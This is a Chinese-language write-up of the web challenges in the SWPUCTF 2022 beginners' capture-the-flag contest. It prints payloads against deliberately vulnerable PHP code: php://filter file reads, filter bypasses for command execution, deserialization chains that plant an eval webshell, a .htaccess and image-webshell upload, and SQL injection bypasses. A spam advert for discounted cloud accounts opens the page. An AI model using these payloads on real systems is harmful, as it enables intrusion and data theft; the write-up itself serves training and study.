SWPUCTF 2022新生赛 web部分wp
阿里云国内75折 回扣 微信号:monov8 |
阿里云国际,腾讯云国际,低至75折。AWS 93折 免费开户实名账号 代冲值 优惠多多 微信号:monov8 飞机:@monov6 |
😋大家好我是YAy_17是一枚爱好网安的小白。
本人水平有限欢迎各位大佬指点一起学习💗一起进步⭐️。
⭐️此后如竟没有炬火我便是唯一的光。⭐️
目录
[SWPUCTF 2022 新生赛]webdog1__start
[SWPUCTF 2022 新生赛]1z_unserialize
[SWPUCTF 2022 新生赛]ez_ez_unserialize
[SWPUCTF 2022 新生赛]ez_ez_php
substr()函数substr(string,start,length)
substr() 函数返回字符串的一部分。
注释如果 start 参数是负数且 length 小于或等于 start则 length 为 0。
?file=php://filter/read=convert.base64-encode/resource=flag.php
根据回显内容进行base64解码发现真正的flag在/flag修改payload即可将回显内容进行base64解码得到flag
[SWPUCTF 2022 新生赛]ez_rce
源码什么都没有抓个包看一下发现还是什么都没有robots.txt文件看一下吧
访问目标文件发现
拿工具测试一下就好
查找flag位置的时候在根目录下面并没有发现flag而是在/nss/ctf/flag/flag中
[SWPUCTF 2022 新生赛]numgame
发现还是看不了源代码还是抓包看看什么回显在相应包中发现了js文件
访问一下看看文件名有点东西
在文件内容的最后发现base64编码的类似flag的东西base64解码
首先看到的就是在正则过滤中没有过滤大小写因此我们可以通过大写来绕过其次就是类名加上“::”再加上函数名来访问类中的函数
http://xxxxx/NsScTf.php?p=Nss2::Ctf //这里要先写Nss::Ctf 回显提示我们类名是Nss2
[SWPUCTF 2022 新生赛]奇妙的MD5
结合题目是有关于md5的同时界面提示我们
ffif...?ffifdyop MD5后=='or'6...填上试试先
过了看看源码发现存在着注释
数组绕过即可
继续数组绕过即可
[SWPUCTF 2022 新生赛]xff
抓包修改一下数据包的字段
[SWPUCTF 2022 新生赛]webdog1__start
源码看一下抓包再看一下
这里是传递一个参数为webweb的值经过md5加密之后还是等于弱类型web的原值0e215962017这个值加密之后还是0e开头
出现了很多的链接但是除了第一个链接之外其他的都404但是第一个链接打开之后只是一篇文章而已也不是flag所在的地方啊抓包看看再
发现相应包中出现了提示顺着提示往下做
<?php
error_reporting(0);
highlight_file(__FILE__);
if (isset($_GET['get'])){
$get=$_GET['get'];
if(!strstr($get," ")){
$get = str_ireplace("flag", " ", $get);
if (strlen($get)>18){
die("This is too long.");
}
else{
eval($get);
}
}else {
die("nonono");
}
}
?>
strstr()函数匹配空格是否在变量get中
str_ireplace("flag", " ", $get);将变量中的flag替换为空格
所以system("ls%09/");空格用%09替换system("cat%09/f*");
[SWPUCTF 2022 新生赛]1z_unserialize
<?php
class lyh{
public $url = 'NSSCTF.com';
public $lt;
public $lly;
function __destruct(){
$a = $this->lt;
$a($this->lly);
}
}
unserialize($_POST['nss']);
highlight_file(__FILE__);
?>
看到这里存在着$a($this->lly);便能想到eval($_POST[_]);但是本题目是php5的环境在此环境下eval不是函数而是一种语法结构这里我让 public $lt = 'assert'; public $lly = 'eval($_POST[x]);';再进行序列化便可以得到目的
[SWPUCTF 2022 新生赛]ez_ez_unserialize
<?php
class X
{
public $x = __FILE__;
function __construct($x)
{
$this->x = $x;
}
function __wakeup()
{
if ($this->x !== __FILE__) {
$this->x = __FILE__;
}
}
function __destruct()
{
highlight_file($this->x);
//flag is in fllllllag.php
}
}
if (isset($_REQUEST['x'])) {
@unserialize($_REQUEST['x']);
} else {
highlight_file(__FILE__);
}
考察wakeup函数的绕过只要序列化的中的成员数大于实际成员数,即可绕过
<?php
class X{
public $x ;
function __construct($x)
{
$this->x = $x;
}
function __wakeup()
{
if($this->x !== __FILE__){
$this->x = __FILE__;
}
}
function __destruct()
{
highlight_file($this->x);
//flag is in fllllllag.php
}
}
echo serialize(new X("fllllllag.php"));
O:1:"X":1:{s:1:"x";s:13:"fllllllag.php";}
修改为O:1:"X":2:{s:1:"x";s:13:"fllllllag.php";}即可绕过wakeup函数
[SWPUCTF 2022 新生赛]Ez_upload
该题目在上传文件的时候发现需要更改MIME类型为image/jpeg才行其他都不行同时文件名的后缀中不允许带有ph那么就不能上传php3、pht等尝试.htaccess文件的上传发现上传成功思路就有了先上传.htaccess文件再将图片马上传将图片马解析为php即可
flag在phpinfo中
<?php
session_start();
highlight_file(__FILE__);
if(isset($_GET['num'])){
if(strlen($_GET['num'])<=3&&$_GET['num']>999999999){
echo ":D";
$_SESSION['L1'] = 1;
}else{
echo ":C";
}
}
if(isset($_GET['str'])){
$str = preg_replace('/NSSCTF/',"",$_GET['str']);
if($str === "NSSCTF"){
echo "wow";
$_SESSION['L2'] = 1;
}else{
echo $str;
}
}
if(isset($_POST['md5_1'])&&isset($_POST['md5_2'])){
if($_POST['md5_1']!==$_POST['md5_2']&&md5($_POST['md5_1'])==md5($_POST['md5_2'])){
echo "Nice!";
if(isset($_POST['md5_1'])&&isset($_POST['md5_2'])){
if(is_string($_POST['md5_1'])&&is_string($_POST['md5_2'])){
echo "yoxi!";
$_SESSION['L3'] = 1;
}else{
echo "X(";
}
}
}else{
echo "G";
echo $_POST['md5_1']."\n".$_POST['md5_2'];
}
}
if(isset($_SESSION['L1'])&&isset($_SESSION['L2'])&&isset($_SESSION['L3'])){
include('flag.php');
echo $flag;
}
?>
L1 L2 L3全部存在即可输出flag三个条件
- GET方式传递参数numnum的长度不超过3并且num的值必须大于999999999可以用科学计数法9e9
- GET方式传递参数strstr的值会经过preg_replace()函数将NSSCTF替换为空可以参数双写绕过
- md5弱类型绕过即可
[SWPUCTF 2022 新生赛]js_sign
发现无论是输入什么都是弹窗fuck off!! 查看网页源代码
发现在当前目录下存在着main.js文件访问该文件
btoa()函数是js中的base64编码方法等号后面便是一串经过base64编码的字符串我们将其解码看下结果
发现是敲击码寻找在线解码平台将flag的值进行解码提供如下的解码平台
解码后的结果为
最终的结果是NSSCTF{youfindflagbytapcode}
[SWPUCTF 2022 新生赛]ez_sql
相对安全的方式传参->POST参数为nss
POST方式传递参数值为1试试
判断sql注入的类型
字符型注入接下来在判断列数的时候发现过滤了空格和or空格用/**/替换or双写绕过即可
同时发现union也被过滤同样还是使用双写便可以绕过
接下来就是查数据库表名、列名、flag
最终发现flag在secret中
[SWPUCTF 2022 新生赛]funny_web
用户名是NSS接下来又提示密码是招新群某个人的qq账号
成功登录之后
intval()函数用于获取变量的整数值所以我们可以传参一个小数如12345.5即可
[SWPUCTF 2022 新生赛]ez_1zpop
<?php
error_reporting(0);
class dxg{
function fmm(){
return "nonono";
}
}
class lt{
public $impo='hi';
public $md51='weclome';
public $md52='to NSS';
function __construct(){
$this->impo = new dxg;
}
function __wakeup(){
$this->impo = new dxg;
return $this->impo->fmm();
}
function __toString(){
if (isset($this->impo) && md5($this->md51) == md5($this->md52) && $this->md51 != $this->md52)
return $this->impo->fmm();
}
function __destruct(){
echo $this;
}
}
class fin{
public $a;
public $url = 'https://www.ctfer.vip';
public $title;
function fmm(){
$b = $this->a;
$b($this->title);
}
if(isset($_GET['NSS'])) {
$Data = unserialize($_GET['NSS']);
}else{
highlight_file(__file__);
}
- GET方式传递参数NSS反序列化NSS
- 在类fin中存在着fmm方法该方法可以执行任意命令
- 类lt中存在魔术方法tostring该方法时可以执行fmm方法的但是需要满足md5弱类型检测同时变量impo的值需要是fin类
- 因此我们还要让impo变量的值为fin类同时需要绕过wakeup函数
$a = new lt();
$a->impo=new fin();
$a->md51='s878926199a';
$a->md52='s155964671a';
$a->impo->a='assert';
$a->impo->title='eval($_POST[x]);';
echo serialize($a);